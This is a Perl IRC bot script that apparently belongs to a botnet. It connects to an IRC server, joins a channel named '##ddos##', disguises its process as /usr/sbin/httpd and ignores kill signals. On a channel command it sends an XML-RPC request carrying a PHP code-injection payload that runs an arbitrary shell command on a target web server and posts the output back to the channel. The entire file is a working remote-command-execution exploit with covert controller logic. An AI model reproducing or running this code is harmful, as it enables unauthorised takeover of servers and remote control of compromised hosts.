#!/usr/bin/perl

#####################################################################

##                                                                 ##

##         empix XML bot v.007 by eten  - to xCaLiBuR              ##

##                                                                 ##

#####################################################################

use IO::Socket::INET ;

use LWP::UserAgent;

use LWP::Simple;

use LWP 5.64;

use HTTP::Request::Common;

########################### <<empixcrew>> ###########################

my($nick,$channel);

$nick ="[Xml]-";

$channel = "##ddos##";

########################### <<empixcrew>> ###########################

%SIG = ('HUP','IGNORE','INT','IGNORE','PIPE','IGNORE','TERM','IGNORE');

sub randnick($){return "$_[0]" . int(rand(1)*100);}

sub send_msg($$){print $connection "PRIVMSG $channel :$_[0] $_[1]\r\n";}

########################### <<empixcrew>> ###########################

my $processo = "/usr/sbin/httpd";

my $pid=fork;

exit if $pid;

$0="$processo"."\0"x16;

#--------Connection To The Server

$connection = IO::Socket::INET->new(PeerAddr=>"irc.merda.it",PeerPort=>"60001",Proto=>'tcp',Timeout=>'50') or die " ga bisa masuk $server\n";

print " siap menuju tkp bos ....\n\n";

########################### <<empixcrew>> ###########################

print $connection "USER xml Jo * :<<empixcrew>>\r\n";

print $connection "NICK ".&randnick($nick)."\r\n";

########################### <<empixcrew>> ###########################

while($response = <$connection>)

{

	 if($response =~ m/:(.*) 00(.*) (.*) :/)

     	 {

	 print $connection "JOIN $channel\r\n";

	 }

	 if($response =~ m/^PING (.*?)$/gi)

	 {

	 print $connection "PONG ".$1."\r\n"; }

	 if($response =~ m/:!help/)

	 {

send_msg($channel,"4,1<<ALB>> : !hi target perintah");

	 }

	 			 if($response =~ m/:!hi\s+(.*?)\s+(.*)/)

		 {

	my $url = $1;

	my $cmd = $2;

&eten($url,$cmd);

	}



sub links()

{

my @l;

my $link=$_[0];

my $host=$_[0];

my $hdir=$_[0];

$hdir=~s/(.*)\/[^\/]*$/\1/;

$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;

$host.="/";

$link.="/";

$hdir.="/";

$host=~s/\/\//\//g;

$hdir=~s/\/\//\//g;

$link=~s/\/\//\//g;

push(@l,$link,$host,$hdir);

return @l;

}



sub geths(){

my $host=$_[0];

$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;

return $host;

}



sub key(){

my $chiave=$_[0];

$chiave =~ s/ /\+/g;

$chiave =~ s/:/\%3A/g;

$chiave =~ s/\//\%2F/g;

$chiave =~ s/&/\%26/g;

$chiave =~ s/\"/\%22/g;

$chiave =~ s/,/\%2C/g;

$chiave =~ s/\\/\%5C/g;

return $chiave;

}



sub query(){

	my $link =$_[0];

	my $req=HTTP::Request->new(GET=>$link);

	my $ua=LWP::UserAgent->new();

	$ua->agent('Mozilla/5.0');

	$ua->timeout(5);

	my $response=$ua->request($req);

	return $response->content;

}



sub eten() {

my $jed = $_[0];

my $dwa = $_[1];

my $userAgent = LWP::UserAgent->new(agent => 'perl post');

        $exploit = "<?xml version=\"1.0\"?><methodCall>";

        $exploit .= "<methodName>test.method</methodName>";

        $exploit .= "<params><param><value><name>',''));";

        $exploit .= "echo'empix';echo`".$dwa."`;echo'crew';exit;/*</name></value></param></params></methodCall>";



my $response = $userAgent->request(POST $jed,

Content_Type => 'text/xml',

Content => $exploit);



if ($response->content =~ /empix(.*)crew/s) {

send_msg($channel,"4,1<<HASIL>>: 4,1 $1");

}





#print $response->error_as_HTML unless $response->is_success;

#print $response->as_string;

}}